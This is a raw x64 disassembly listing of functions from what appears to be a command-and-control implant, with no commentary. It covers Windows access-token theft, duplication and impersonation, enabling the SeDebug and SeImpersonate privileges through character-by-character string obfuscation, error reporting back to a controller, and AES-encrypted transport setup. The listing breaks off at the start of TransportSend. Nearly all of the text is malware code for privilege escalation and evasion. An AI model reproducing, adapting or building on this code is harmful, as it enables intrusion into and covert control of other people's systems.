Similarity

1400211e0
1400211e0TokenDuplicate:
1400211e0push rdi
1400211e1mov r10, rcx
1400211e4xor eax, eax
1400211e6mov ecx, 9
1400211ebpush rsi
1400211ecpush rbx
1400211edsub rsp, 112
1400211f1lea rdi, [rsp+68]
1400211f6mov [rsp+56], r8l
1400211fblea r8, [rsp+64]
140021200rep stosd [rdi], eax
140021202xor eax, eax
140021204mov [rsp+32], r9l
140021209mov rcx, r10
14002120cmov [rsp+60], eax
140021210lea rax, [rsp+52]
140021215xor r9l, r9l
140021218mov [rsp+104], rax
14002121dmov rax, [rsp+176]
140021225mov [rsp+52], 12
14002122dmov [rsp+40], rax
140021232mov [rsp+64], 48
14002123acall SysNtDuplicateToken
14002123fmov ebx, eax
140021241mov eax, 1
140021246test ebx, ebx
140021248jns 0x14002128d
14002124amov rsi, [rip+45343]
140021251mov ecx, ebx
140021253mov rdi, [rsi+2230]
14002125acall [rsi+348]
140021260mov ecx, ebx
140021262mov [rdi+104], eax
140021265call [rsi+348]
14002126bmov r9l, ebx
14002126emov r8l, 61
140021274lea rdx, [rip+47157]
14002127bmov [rsp+32], eax
14002127flea rcx, [rip+34474]
140021286call printf
14002128bxor eax, eax
14002128d
14002128dloc_14002128d:
14002128dadd rsp, 112
140021291pop rbx
140021292pop rsi
140021293pop rdi
140021294ret
1400211e0

140021295
140021295 // align 0x10

1400212a0
1400212a0TokenElevated:
1400212a0sub rsp, 72
1400212a4xor eax, eax
1400212a6mov edx, 20
1400212abmov r9l, 4
1400212b1mov [rsp+56], eax
1400212b5lea rax, [rsp+60]
1400212balea r8, [rsp+56]
1400212bfmov [rsp+32], rax
1400212c4mov [rsp+60], 4
1400212cccall SysNtQueryInformationToken
1400212d1mov edx, eax
1400212d3xor eax, eax
1400212d5test edx, edx
1400212d7js 0x1400212dd
1400212d9mov eax, [rsp+56]
1400212dd
1400212ddloc_1400212dd:
1400212ddadd rsp, 72
1400212e1ret
1400212a0

1400212e2
1400212e2 // align 0x10

1400212f0
1400212f0TokenGet:
1400212f0mov rax, [rip+45177]
1400212f7xor edx, edx
1400212f9mov rax, [rax+2274]
140021300
140021300loc_140021300:
140021300cmp edx, ecx
140021302jae 0x140021309
140021304test rax, rax
140021307jne 0x140021315
140021309
140021309loc_140021309:
140021309cmp edx, ecx
14002130bmov edx, 0
140021310cmovne rax, rdx
140021314ret
140021315
140021315loc_140021315:
140021315mov rax, [rax+48]
140021319test rax, rax
14002131cje 0x140021322
14002131einc edx
140021320jmp 0x140021300
140021322
140021322loc_140021322:
140021322ret
1400212f0

140021323
140021323 // align 0x10

140021330
140021330TokenImpersonate:
140021330push rbx
140021331mov eax, 1
140021336sub rsp, 32
14002133amov rbx, [rip+45103]
140021341mov edx, [rbx+2290]
140021347test ecx, ecx
140021349je 0x14002136b
14002134btest edx, edx
14002134djne 0x140021381
14002134fmov rdx, [rbx+2282]
140021356test rdx, rdx
140021359je 0x140021381
14002135bmov rcx, [rdx]
14002135ecall SysImpersonateLoggedOnUser
140021363mov [rbx+2290], eax
140021369jmp 0x140021381
14002136b
14002136bloc_14002136b:
14002136btest edx, edx
14002136dje 0x140021381
14002136fxor eax, eax
140021371mov [rbx+2290], eax
140021377add rsp, 32
14002137bpop rbx
14002137cjmp 0x140021aa0
140021381
140021381loc_140021381:
140021381add rsp, 32
140021385pop rbx
140021386ret
140021330

140021387
140021387 // align 0x10

140021390
140021390TokenMake:
140021390push r12
140021392xor r9l, r9l
140021395lea r12, [rip+48996]
14002139cpush rbp
14002139dmov rbp, rdx
1400213a0push rdi
1400213a1mov rdi, r8
1400213a4push rsi
1400213a5mov rsi, rcx
1400213a8push rbx
1400213a9sub rsp, 64
1400213admov [rsp+40], r8
1400213b2mov r8l, 602
1400213b8mov [rsp+32], rdx
1400213bdmov rdx, r12
1400213c0mov [rsp+56], r9
1400213c5mov r9, rcx
1400213c8lea rcx, [rip+34785]
1400213cfcall printf
1400213d4call TokenRevSelf
1400213d9mov rbx, [rip+44944]
1400213e0test eax, eax
1400213e2jne 0x140021418
1400213e4mov rax, [rbx+2230]
1400213ebmov rdx, r12
1400213eelea rcx, [rip+34791]
1400213f5mov r8l, 606
1400213fbmov r9l, [rax+104]
1400213ffcall printf
140021404mov rax, [rbx+2230]
14002140bmov ecx, 1
140021410mov edx, [rax+104]
140021413call PackageTransmitError
140021418
140021418loc_140021418:
140021418lea rax, [rsp+56]
14002141dmov r8, rbp
140021420mov rdx, rdi
140021423mov rcx, rsi
140021426mov [rsp+40], rax
14002142bxor eax, eax
14002142dmov r9l, 9
140021433mov [rsp+32], eax
140021437call [rbx+1564]
14002143dtest eax, eax
14002143fjne 0x140021471
140021441mov rdx, r12
140021444lea rcx, [rip+34173]
14002144blea r9, [rip+34752]
140021452mov r8l, 613
140021458call printf
14002145dmov rax, [rbx+2230]
140021464mov ecx, 1
140021469mov edx, [rax+104]
14002146ccall PackageTransmitError
140021471
140021471loc_140021471:
140021471mov rax, [rsp+56]
140021476add rsp, 64
14002147apop rbx
14002147bpop rsi
14002147cpop rdi
14002147dpop rbp
14002147epop r12
140021480ret
140021390

140021481
140021481 // align 0x10

140021490
140021490TokenQueryOwner:
140021490push r15
140021492xor r9l, r9l
140021495push r14
140021497push r13
140021499push r12
14002149bpush rbp
14002149cpush rdi
14002149dpush rsi
14002149epush rbx
14002149fsub rsp, 104
1400214a3mov [rsp+80], r9l
1400214a8mov [rsp+84], r9l
1400214admov [rsp+88], r9l
1400214b2mov [rsp+92], r9l
1400214b7test rcx, rcx
1400214baje 0x1400214c4
1400214bcmov rdi, rdx
1400214bftest rdx, rdx
1400214c2jne 0x1400214cc
1400214c4
1400214c4loc_1400214c4:
1400214c4xor r13l, r13l
1400214c7jmp 0x140021739
1400214cc
1400214ccloc_1400214cc:
1400214cclea r13, [rsp+80]
1400214d1mov ebp, r8l
1400214d4xor r9l, r9l
1400214d7xor r8l, r8l
1400214damov [rsp+32], r13
1400214dfmov edx, 1
1400214e4mov rbx, rcx
1400214e7call SysNtQueryInformationToken
1400214ectest eax, eax
1400214eejns 0x1400216b1
1400214f4mov rsi, [rip+44661]
1400214fbmov r8l, [rsp+80]
140021500mov edx, 8
140021505mov rax, [rsi+2230]
14002150cmov rax, [rax+96]
140021510mov rcx, [rax+48]
140021514call [rsi+316]
14002151amov [rsp+32], r13
14002151fmov r9l, [rsp+80]
140021524mov rcx, rbx
140021527mov r8, rax
14002152amov edx, 1
14002152fmov r12, rax
140021532call SysNtQueryInformationToken
140021537test eax, eax
140021539js 0x1400216d6
14002153fxor edx, edx
140021541lea rax, [rsp+84]
140021546lea r13, [rsp+92]
14002154bxor r8l, r8l
14002154elea r14, [rsp+88]
140021553mov [rsp+48], r13
140021558xor ecx, ecx
14002155amov r9, rax
14002155dmov [rsp+40], r14
140021562mov [rsp+32], rdx
140021567mov rdx, [r12]
14002156bmov [rsp+72], rax
140021570call [rsi+1548]
140021576test eax, eax
140021578jne 0x14002168f
14002157exor eax, eax
140021580mov [rsp+92], eax
140021584cmp ebp, 1
140021587jne 0x140021593
140021589mov eax, [rsp+84]
14002158dlea r8l, [rax+rax]
140021591jmp 0x1400215a5
140021593
140021593loc_140021593:
140021593mov r8l, [rsp+88]
140021598cmp ebp, 2
14002159bje 0x1400215a2
14002159dadd r8l, [rsp+84]
1400215a2
1400215a2loc_1400215a2:
1400215a2add r8l, r8l
1400215a5
1400215a5loc_1400215a5:
1400215a5mov rax, [rsi+2230]
1400215acmov [rdi+8], r8l
1400215b0mov edx, 8
1400215b5mov rax, [rax+96]
1400215b9mov rcx, [rax+48]
1400215bdcall [rsi+316]
1400215c3mov r8l, [rsp+88]
1400215c8mov [rdi], rax
1400215cbmov r15, rax
1400215ceadd r8, r8
1400215d1cmp ebp, 1
1400215d4jne 0x1400215f8
1400215d6mov rax, [rsi+2230]
1400215ddmov edx, 8
1400215e2mov rax, [rax+96]
1400215e6mov rcx, [rax+48]
1400215eacall [rsi+316]
1400215f0mov rbx, [rdi]
1400215f3mov r15, rax
1400215f6jmp 0x140021626
1400215f8
1400215f8loc_1400215f8:
1400215f8lea rbx, [rax+r8]
1400215fccmp ebp, 2
1400215ffjne 0x140021626
140021601mov rdx, [rsi+2230]
140021608mov eax, [rsp+84]
14002160cmov rdx, [rdx+96]
140021610lea r8, [rax+rax]
140021614mov rcx, [rdx+48]
140021618mov edx, 8
14002161dcall [rsi+316]
140021623mov rbx, rax
140021626
140021626loc_140021626:
140021626mov [rsp+48], r13
14002162bmov r9, [rsp+72]
140021630mov r8, rbx
140021633xor ecx, ecx
140021635mov [rsp+40], r14
14002163amov [rsp+32], r15
14002163fmov rdx, [r12]
140021643call [rsi+1548]
140021649mov r13l, eax
14002164ctest eax, eax
14002164ejne 0x140021676
140021650mov rax, [rsi+2230]
140021657mov r8l, 162
14002165dlea rdx, [rip+46060]
140021664lea rcx, [rip+33532]
14002166bmov r9l, [rax+104]
14002166fcall printf
140021674jmp 0x1400216e7
140021676
140021676loc_140021676:
140021676test ebp, ebp
140021678je 0x140021682
14002167a
14002167aloc_14002167a:
14002167amov r13l, 1
140021680jmp 0x1400216e7
140021682
140021682loc_140021682:
140021682mov edx, [rsp+88]
140021686mov rax, [rdi]
140021689mov [rax+2*rdx], 92
14002168djmp 0x14002167a
14002168f
14002168floc_14002168f:
14002168flea r9, [rip+33536]
140021696mov r8l, 174
14002169clea rdx, [rip+45997]
1400216a3lea rcx, [rip+33566]
1400216aacall printf
1400216afjmp 0x1400216df
1400216b1
1400216b1loc_1400216b1:
1400216b1lea r9, [rip+33572]
1400216b8mov r8l, 177
1400216belea rdx, [rip+45963]
1400216c5lea rcx, [rip+33532]
1400216cccall printf
1400216d1jmp 0x1400214c4
1400216d6
1400216d6loc_1400216d6:
1400216d6test r12, r12
1400216d9je 0x1400214c4
1400216df
1400216dfloc_1400216df:
1400216dfxor ebx, ebx
1400216e1xor r15l, r15l
1400216e4xor r13l, r13l
1400216e7
1400216e7loc_1400216e7:
1400216e7xor r14l, r14l
1400216eamov ecx, [rsp+80]
1400216eemov rdi, r12
1400216f1mov eax, r14l
1400216f4rep stosb [rdi], al
1400216f6mov rcx, r12
1400216f9call [rsi+940]
1400216ffcmp ebp, 1
140021702jne 0x14002171a
140021704test r15, r15
140021707je 0x140021739
140021709mov ecx, [rsp+88]
14002170dmov rdi, r15
140021710mov eax, r14l
140021713rep stosb [rdi], al
140021715mov rcx, r15
140021718jmp 0x140021733
14002171a
14002171aloc_14002171a:
14002171atest rbx, rbx
14002171dje 0x140021739
14002171fcmp ebp, 2
140021722jne 0x140021739
140021724mov ecx, [rsp+84]
140021728mov rdi, rbx
14002172bmov eax, r14l
14002172erep stosb [rdi], al
140021730mov rcx, rbx
140021733
140021733loc_140021733:
140021733call [rsi+940]
140021739
140021739loc_140021739:
140021739add rsp, 104
14002173dmov eax, r13l
140021740pop rbx
140021741pop rsi
140021742pop rdi
140021743pop rbp
140021744pop r12
140021746pop r13
140021748pop r14
14002174apop r15
14002174cret
140021490

14002174d
14002174d // align 0x10

140021750
140021750TokenRemove:
140021750push rdi
140021751mov r9l, ecx
140021754lea rdx, [rip+48165]
14002175bmov r8l, 476
140021761push rsi
140021762push rbx
140021763mov ebx, ecx
140021765lea rcx, [rip+34256]
14002176csub rsp, 32
140021770call printf
140021775mov ecx, ebx
140021777call TokenGet
14002177cmov rbx, [rip+44013]
140021783mov rsi, rax
140021786mov rax, [rbx+2274]
14002178dtest rax, rax
140021790je 0x140021a89
140021796test rsi, rsi
140021799je 0x140021a89
14002179fcmp rsi, rax
1400217a2lea rdx, [rip+48087]
1400217a9jne 0x140021965
1400217aflea r9, [rip+34218]
1400217b6mov r8l, 489
1400217bclea rcx, [rip+33285]
1400217c3call printf
1400217c8mov rax, [rbx+2274]
1400217cfcmp [rbx+2290], 0
1400217d6mov rsi, [rax+48]
1400217daje 0x1400217f2
1400217dcmov rdx, [rbx+2282]
1400217e3mov rax, [rax]
1400217e6cmp [rdx], rax
1400217e9jne 0x1400217f2
1400217ebxor ecx, ecx
1400217edcall TokenImpersonate
1400217f2
1400217f2loc_1400217f2:
1400217f2mov rax, [rbx+2274]
1400217f9mov rcx, [rax]
1400217fctest rcx, rcx
1400217ffje 0x140021812
140021801call SysNtClose
140021806mov rax, [rbx+2274]
14002180dxor ecx, ecx
14002180fmov [rax], rcx
140021812
140021812loc_140021812:
140021812mov rax, [rbx+2274]
140021819mov rcx, [rax+8]
14002181dtest rcx, rcx
140021820je 0x140021858
140021822call StringLengthW
140021827mov rdx, [rbx+2274]
14002182elea rcx, [rax+rax]
140021832xor eax, eax
140021834mov rdi, [rdx+8]
140021838rep stosb [rdi], al
14002183amov rax, [rbx+2274]
140021841mov rcx, [rax+8]
140021845call [rbx+940]
14002184bmov rax, [rbx+2274]
140021852xor edx, edx
140021854mov [rax+8], rdx
140021858
140021858loc_140021858:
140021858mov rax, [rbx+2274]
14002185fmov rcx, [rax+24]
140021863test rcx, rcx
140021866je 0x14002189e
140021868call StringLengthW
14002186dmov rdx, [rbx+2274]
140021874lea rcx, [rax+rax]
140021878xor eax, eax
14002187amov rdi, [rdx+24]
14002187erep stosb [rdi], al
140021880mov rax, [rbx+2274]
140021887xor edi, edi
140021889mov rcx, [rax+24]
14002188dcall [rbx+940]
140021893mov rax, [rbx+2274]
14002189amov [rax+24], rdi
14002189e
14002189eloc_14002189e:
14002189emov rax, [rbx+2274]
1400218a5cmp [rax+40], 0
1400218aaje 0x1400218e7
1400218acmov rcx, [rax+24]
1400218b0call StringLengthW
1400218b5mov rdx, [rbx+2274]
1400218bclea rcx, [rax+rax]
1400218c0xor eax, eax
1400218c2mov rdi, [rdx+40]
1400218c6rep stosb [rdi], al
1400218c8mov rax, [rbx+2274]
1400218cfmov rcx, [rax+40]
1400218d3call [rbx+940]
1400218d9mov rax, [rbx+2274]
1400218e0xor r11l, r11l
1400218e3mov [rax+40], r11
1400218e7
1400218e7loc_1400218e7:
1400218e7mov rax, [rbx+2274]
1400218eemov rcx, [rax+32]
1400218f2test rcx, rcx
1400218f5je 0x14002192e
1400218f7call StringLengthW
1400218fcmov rdx, [rbx+2274]
140021903lea rcx, [rax+rax]
140021907xor eax, eax
140021909mov rdi, [rdx+32]
14002190drep stosb [rdi], al
14002190fmov rax, [rbx+2274]
140021916mov rcx, [rax+32]
14002191acall [rbx+940]
140021920mov rax, [rbx+2274]
140021927xor r10l, r10l
14002192amov [rax+32], r10
14002192e
14002192eloc_14002192e:
14002192emov rdi, [rbx+2274]
140021935mov ecx, 56
14002193axor eax, eax
14002193crep stosb [rdi], al
14002193emov rcx, [rbx+2274]
140021945call [rbx+940]
14002194bmov [rbx+2274], rsi
140021952
140021952loc_140021952:
140021952mov eax, 1
140021957jmp 0x140021a8b
14002195c
14002195cloc_14002195c:
14002195ctest rax, rax
14002195fje 0x140021a89
140021965
140021965loc_140021965:
140021965mov rdi, rax
140021968mov rax, [rax+48]
14002196ccmp rax, rsi
14002196fjne 0x14002195c
140021971lea r9, [rip+33783]
140021978mov r8l, 543
14002197elea rcx, [rip+32835]
140021985call printf
14002198amov rax, [rsi+48]
14002198ecmp [rbx+2290], 0
140021995mov [rdi+48], rax
140021999je 0x1400219b1
14002199bmov rax, [rbx+2282]
1400219a2mov rdx, [rsi]
1400219a5cmp [rax], rdx
1400219a8jne 0x1400219b1
1400219aaxor ecx, ecx
1400219accall TokenImpersonate
1400219b1
1400219b1loc_1400219b1:
1400219b1mov rcx, [rsi]
1400219b4test rcx, rcx
1400219b7je 0x1400219c4
1400219b9call SysNtClose
1400219bexor r9l, r9l
1400219c1mov [rsi], r9
1400219c4
1400219c4loc_1400219c4:
1400219c4mov rcx, [rsi+8]
1400219c8test rcx, rcx
1400219cbje 0x1400219ef
1400219cdcall StringLengthW
1400219d2mov rdi, [rsi+8]
1400219d6lea rcx, [rax+rax]
1400219daxor eax, eax
1400219dcrep stosb [rdi], al
1400219demov rcx, [rsi+8]
1400219e2call [rbx+940]
1400219e8xor r8l, r8l
1400219ebmov [rsi+8], r8
1400219ef
1400219efloc_1400219ef:
1400219efmov rcx, [rsi+24]
1400219f3test rcx, rcx
1400219f6je 0x140021a19
1400219f8call StringLengthW
1400219fdmov rdi, [rsi+24]
140021a01lea rcx, [rax+rax]
140021a05xor eax, eax
140021a07rep stosb [rdi], al
140021a09mov rcx, [rsi+24]
140021a0dcall [rbx+940]
140021a13xor ecx, ecx
140021a15mov [rsi+24], rcx
140021a19
140021a19loc_140021a19:
140021a19cmp [rsi+40], 0
140021a1eje 0x140021a45
140021a20mov rcx, [rsi+24]
140021a24call StringLengthW
140021a29mov rdi, [rsi+40]
140021a2dlea rcx, [rax+rax]
140021a31xor eax, eax
140021a33rep stosb [rdi], al
140021a35mov rcx, [rsi+40]
140021a39call [rbx+940]
140021a3fxor edx, edx
140021a41mov [rsi+40], rdx
140021a45
140021a45loc_140021a45:
140021a45mov rcx, [rsi+32]
140021a49test rcx, rcx
140021a4cje 0x140021a6f
140021a4ecall StringLengthW
140021a53mov rdi, [rsi+32]
140021a57lea rcx, [rax+rax]
140021a5bxor eax, eax
140021a5drep stosb [rdi], al
140021a5fmov rcx, [rsi+32]
140021a63call [rbx+940]
140021a69xor eax, eax
140021a6bmov [rsi+32], rax
140021a6f
140021a6floc_140021a6f:
140021a6fmov rdi, rsi
140021a72mov ecx, 56
140021a77xor eax, eax
140021a79rep stosb [rdi], al
140021a7bmov rcx, rsi
140021a7ecall [rbx+940]
140021a84jmp 0x140021952
140021a89
140021a89loc_140021a89:
140021a89xor eax, eax
140021a8b
140021a8bloc_140021a8b:
140021a8badd rsp, 32
140021a8fpop rbx
140021a90pop rsi
140021a91pop rdi
140021a92ret
140021750

140021a93
140021a93 // align 0x10

140021aa0
140021aa0TokenRevSelf:
140021aa0push rbx
140021aa1xor eax, eax
140021aa3mov rcx, -2
140021aaamov r9l, 8
140021ab0mov edx, 5
140021ab5sub rsp, 48
140021ab9lea r8, [rsp+40]
140021abemov [rsp+40], rax
140021ac3call SysNtSetInformationThread
140021ac8mov ecx, eax
140021acamov eax, 1
140021acftest ecx, ecx
140021ad1jns 0x140021aec
140021ad3mov rax, [rip+43158]
140021adamov rbx, [rax+2230]
140021ae1call [rax+348]
140021ae7mov [rbx+104], eax
140021aeaxor eax, eax
140021aec
140021aecloc_140021aec:
140021aecadd rsp, 48
140021af0pop rbx
140021af1ret
140021aa0

140021af2
140021af2 // align 0x10

140021b00
140021b00TokenSetPrivilege:
140021b00push rbp
140021b01xorps x0, x0
140021b04mov rbp, rsp
140021b07push rsi
140021b08mov esi, edx
140021b0axor edx, edx
140021b0cpush rbx
140021b0dand rsp, -16
140021b11sub rsp, 80
140021b15mov rbx, [rip+43092]
140021b1cmov [rsp+56], rdx
140021b21lea r8, [rsp+56]
140021b26mov [rsp+48], rdx
140021b2bmov rdx, rcx
140021b2exor ecx, ecx
140021b30movups [rsp+64], x0
140021b35call [rbx+1596]
140021b3btest eax, eax
140021b3djne 0x140021b63
140021b3fmov rax, [rbx+2230]
140021b46mov r8l, 213
140021b4clea rdx, [rip+44669]
140021b53lea rcx, [rip+32442]
140021b5amov r9l, [rax+104]
140021b5ejmp 0x140021be6
140021b63
140021b63loc_140021b63:
140021b63mov rax, [rsp+56]
140021b68lea r8, [rsp+48]
140021b6dmov edx, 0xf01ff
140021b72mov [rsp+64], 1
140021b7amov [rsp+68], rax
140021b7fxor eax, eax
140021b81test esi, esi
140021b83setne al
140021b86or rcx, -1
140021b8aadd eax, eax
140021b8cmov [rsp+76], eax
140021b90call SysNtOpenProcessToken
140021b95mov esi, eax
140021b97test eax, eax
140021b99js 0x140021bef
140021b9bxor eax, eax
140021b9dxor edx, edx
140021b9fmov rcx, [rsp+48]
140021ba4xor r9l, r9l
140021ba7mov [rsp+40], rax
140021baclea r8, [rsp+64]
140021bb1mov [rsp+32], rax
140021bb6call [rbx+1572]
140021bbcmov edx, eax
140021bbemov eax, 1
140021bc3test edx, edx
140021bc5jne 0x140021c29
140021bc7mov rax, [rbx+2230]
140021bcemov r8l, 228
140021bd4lea rdx, [rip+44533]
140021bdblea rcx, [rip+32358]
140021be2mov r9l, [rax+104]
140021be6
140021be6loc_140021be6:
140021be6call printf
140021beb
140021bebloc_140021beb:
140021bebxor eax, eax
140021bedjmp 0x140021c29
140021bef
140021befloc_140021bef:
140021befmov ecx, eax
140021bf1call [rbx+348]
140021bf7mov r8l, 232
140021bfdlea rdx, [rip+44492]
140021c04lea rcx, [rip+32370]
140021c0bmov r9l, eax
140021c0ecall printf
140021c13mov ecx, esi
140021c15call [rbx+348]
140021c1bmov ecx, 1
140021c20mov edx, eax
140021c22call PackageTransmitError
140021c27jmp 0x140021beb
140021c29
140021c29loc_140021c29:
140021c29lea rsp, [rbp-16]
140021c2dpop rbx
140021c2epop rsi
140021c2fpop rbp
140021c30ret
140021b00

140021c31
140021c31 // align 0x10

140021c40
140021c40TokenSetSeDebugPriv:
140021c40push rdi
140021c41xor eax, eax
140021c43push rbx
140021c44mov ebx, ecx
140021c46mov ecx, 68
140021c4bsub rsp, 72
140021c4fmov [rsp+47], rax
140021c54lea rdi, [rsp+47]
140021c59mov [rsp+55], rax
140021c5emov [rsp+63], 0
140021c63call HideChar
140021c68mov ecx, 105
140021c6dmov [rsp+49], al
140021c71call HideChar
140021c76xor ecx, ecx
140021c78mov [rsp+56], al
140021c7ccall HideChar
140021c81mov ecx, 83
140021c86mov [rsp+63], al
140021c8acall HideChar
140021c8fmov ecx, 101
140021c94mov [rsp+47], al
140021c98call HideChar
140021c9dmov ecx, 103
140021ca2mov [rsp+50], al
140021ca6call HideChar
140021cabmov ecx, 80
140021cb0mov [rsp+53], al
140021cb4call HideChar
140021cb9mov ecx, 105
140021cbemov [rsp+54], al
140021cc2call HideChar
140021cc7mov ecx, 98
140021cccmov [rsp+58], al
140021cd0call HideChar
140021cd5mov ecx, 117
140021cdamov [rsp+51], al
140021cdecall HideChar
140021ce3mov ecx, 118
140021ce8mov [rsp+52], al
140021ceccall HideChar
140021cf1mov ecx, 101
140021cf6mov [rsp+57], al
140021cfacall HideChar
140021cffmov ecx, 101
140021d04mov [rsp+62], al
140021d08call HideChar
140021d0dmov ecx, 101
140021d12mov [rsp+48], al
140021d16call HideChar
140021d1bmov ecx, 103
140021d20mov [rsp+60], al
140021d24call HideChar
140021d29mov ecx, 108
140021d2emov [rsp+61], al
140021d32call HideChar
140021d37mov ecx, 114
140021d3cmov [rsp+59], al
140021d40call HideChar
140021d45mov edx, ebx
140021d47mov rcx, rdi
140021d4amov [rsp+55], al
140021d4ecall TokenSetPrivilege
140021d53mov ecx, 17
140021d58mov edx, eax
140021d5axor eax, eax
140021d5crep stosb [rdi], al
140021d5eadd rsp, 72
140021d62mov eax, edx
140021d64pop rbx
140021d65pop rdi
140021d66ret
140021c40

140021d67
140021d67 // align 0x10

140021d70
140021d70TokenSetSeImpersonatePriv:
140021d70push rdi
140021d71xor eax, eax
140021d73push rbx
140021d74mov ebx, ecx
140021d76mov ecx, 115
140021d7bsub rsp, 72
140021d7fmov [rsp+49], rax
140021d84lea rdi, [rsp+41]
140021d89mov [rsp+41], rax
140021d8emov [rsp+56], rax
140021d93call HideChar
140021d98mov ecx, 101
140021d9dmov [rsp+48], al
140021da1call HideChar
140021da6mov ecx, 112
140021dabmov [rsp+46], al
140021dafcall HideChar
140021db4mov ecx, 111
140021db9mov [rsp+45], al
140021dbdcall HideChar
140021dc2mov ecx, 109
140021dc7mov [rsp+49], al
140021dcbcall HideChar
140021dd0mov ecx, 83
140021dd5mov [rsp+44], al
140021dd9call HideChar
140021ddemov ecx, 116
140021de3mov [rsp+41], al
140021de7call HideChar
140021decmov ecx, 101
140021df1mov [rsp+52], al
140021df5call HideChar
140021dfamov ecx, 105
140021dffmov [rsp+53], al
140021e03call HideChar
140021e08mov ecx, 101
140021e0dmov [rsp+58], al
140021e11call HideChar
140021e16xor ecx, ecx
140021e18mov [rsp+60], al
140021e1ccall HideChar
140021e21mov ecx, 114
140021e26mov [rsp+63], al
140021e2acall HideChar
140021e2fmov ecx, 118
140021e34mov [rsp+47], al
140021e38call HideChar
140021e3dmov ecx, 101
140021e42mov [rsp+57], al
140021e46call HideChar
140021e4bmov ecx, 97
140021e50mov [rsp+62], al
140021e54call HideChar
140021e59mov ecx, 105
140021e5emov [rsp+51], al
140021e62call HideChar
140021e67mov ecx, 110
140021e6cmov [rsp+56], al
140021e70call HideChar
140021e75mov ecx, 101
140021e7amov [rsp+50], al
140021e7ecall HideChar
140021e83mov ecx, 80
140021e88mov [rsp+42], al
140021e8ccall HideChar
140021e91mov ecx, 114
140021e96mov [rsp+54], al
140021e9acall HideChar
140021e9fmov ecx, 73
140021ea4mov [rsp+55], al
140021ea8call HideChar
140021eadmov ecx, 108
140021eb2mov [rsp+43], al
140021eb6call HideChar
140021ebbmov ecx, 103
140021ec0mov [rsp+59], al
140021ec4call HideChar
140021ec9mov edx, ebx
140021ecbmov rcx, rdi
140021ecemov [rsp+61], al
140021ed2call TokenSetPrivilege
140021ed7mov ecx, 23
140021edcmov edx, eax
140021edexor eax, eax
140021ee0rep stosb [rdi], al
140021ee2add rsp, 72
140021ee6mov eax, edx
140021ee8pop rbx
140021ee9pop rdi
140021eearet
140021d70

140021eeb
140021eeb // align 0x10

140021ef0
140021ef0TokenSteal:
140021ef0push r12
140021ef2push rbp
140021ef3mov rbp, rdx
140021ef6xor edx, edx
140021ef8push rdi
140021ef9lea rdi, [rip+46400]
140021f00push rsi
140021f01mov esi, ecx
140021f03push rbx
140021f04sub rsp, 80
140021f08mov [rsp+72], rdx
140021f0dmov edx, 1088
140021f12call ProcessOpen
140021f17test rax, rax
140021f1aje 0x140022024
140021f20test rbp, rbp
140021f23mov rbx, rax
140021f26lea r12, [rsp+72]
140021f2bje 0x140021f9b
140021f2dmov [rsp+32], esi
140021f31mov r9, rbp
140021f34mov r8l, 430
140021f3amov rdx, rdi
140021f3dlea rcx, [rip+31593]
140021f44call printf
140021f49xor eax, eax
140021f4bmov r9, r12
140021f4eor r8, -1
140021f52mov [rsp+48], 2
140021f5amov rdx, rbp
140021f5dmov rcx, rbx
140021f60mov [rsp+40], eax
140021f64mov [rsp+32], eax
140021f68call SysNtDuplicateObject
140021f6dmov esi, eax
140021f6ftest eax, eax
140021f71jns 0x140021fc9
140021f73mov rbp, [rip+41974]
140021f7amov ecx, eax
140021f7ccall [rbp+348]
140021f82mov r9l, esi
140021f85mov rdx, rdi
140021f88mov r8l, 440
140021f8emov [rsp+32], eax
140021f92lea rcx, [rip+31558]
140021f99jmp 0x140022001
140021f9b
140021f9bloc_140021f9b:
140021f9bmov r9l, esi
140021f9emov r8l, 446
140021fa4mov rdx, rdi
140021fa7lea rcx, [rip+31593]
140021faecall printf
140021fb3mov r8, r12
140021fb6mov edx, 10
140021fbbmov rcx, rbx
140021fbecall SysNtOpenProcessToken
140021fc3mov esi, eax
140021fc5test eax, eax
140021fc7js 0x140021fdb
140021fc9
140021fc9loc_140021fc9:
140021fc9mov rcx, rbx
140021fcccall SysNtClose
140021fd1mov rax, [rsp+72]
140021fd6jmp 0x140022061
140021fdb
140021fdbloc_140021fdb:
140021fdbmov rbp, [rip+41870]
140021fe2mov ecx, eax
140021fe4call [rbp+348]
140021feamov r9l, esi
140021fedmov rdx, rdi
140021ff0mov r8l, 456
140021ff6mov [rsp+32], eax
140021ffalea rcx, [rip+31563]
140022001
140022001loc_140022001:
140022001call printf
140022006mov ecx, esi
140022008call [rbp+348]
14002200emov ecx, 1
140022013mov edx, eax
140022015call PackageTransmitError
14002201amov rcx, rbx
14002201dcall SysNtClose
140022022jmp 0x14002205f
140022024
140022024loc_140022024:
140022024mov rbx, [rip+41797]
14002202bmov rdx, rdi
14002202elea rcx, [rip+31568]
140022035mov r8l, 463
14002203bmov rax, [rbx+2230]
140022042mov r9l, [rax+104]
140022046call printf
14002204bmov rax, [rbx+2230]
140022052mov ecx, 1
140022057mov edx, [rax+104]
14002205acall PackageTransmitError
14002205f
14002205floc_14002205f:
14002205fxor eax, eax
140022061
140022061loc_140022061:
140022061add rsp, 80
140022065pop rbx
140022066pop rsi
140022067pop rdi
140022068pop rbp
140022069pop r12
14002206bret
140021ef0

14002206c
14002206c // align 0x10

140022070
140022070TransportInit:
140022070push rdi
140022071mov r8l, 15
140022077lea rdx, [rip+42626]
14002207elea rcx, [rip+32187]
140022085push rbx
140022086lea r9, [rip+32199]
14002208dsub rsp, 312
140022094call printf.constprop.0
140022099mov rbx, [rip+41680]
1400220a0xor eax, eax
1400220a2lea rdx, [rsp+32]
1400220a7lea r8, [rsp+40]
1400220acmov [rsp+32], rax
1400220b1mov rcx, [rbx]
1400220b4mov [rsp+40], rax
1400220b9call PackageTransmitNow
1400220betest eax, eax
1400220c0je 0x14002211c
1400220c2xor eax, eax
1400220c4lea rdi, [rsp+48]
1400220c9mov ecx, 64
1400220cemov rdx, [rbx+284]
1400220d5rep stosd [rdi], eax
1400220d7mov r8, [rbx+292]
1400220delea rdi, [rsp+48]
1400220e3mov rcx, rdi
1400220e6call AesInit
1400220ebmov rdx, [rsp+32]
1400220f0mov r8, [rsp+40]
1400220f5mov rcx, rdi
1400220f8call AesXCryptBuffer
1400220fdmov rdx, [rsp+32]
140022102xor eax, eax
140022104test rdx, rdx
140022107je 0x14002211c
140022109mov edi, [rdx]
14002210bcmp [rbx+68], edi
14002210ejne 0x14002211c
140022110mov [rbx+72], 1
140022117mov eax, 1
14002211c
14002211cloc_14002211c:
14002211cadd rsp, 312
140022123pop rbx
140022124pop rdi
140022125ret
140022070

140022126
140022126 // align 0x10

140022130
140022130TransportSend:
140022130push rsi
140022131xor eax, eax
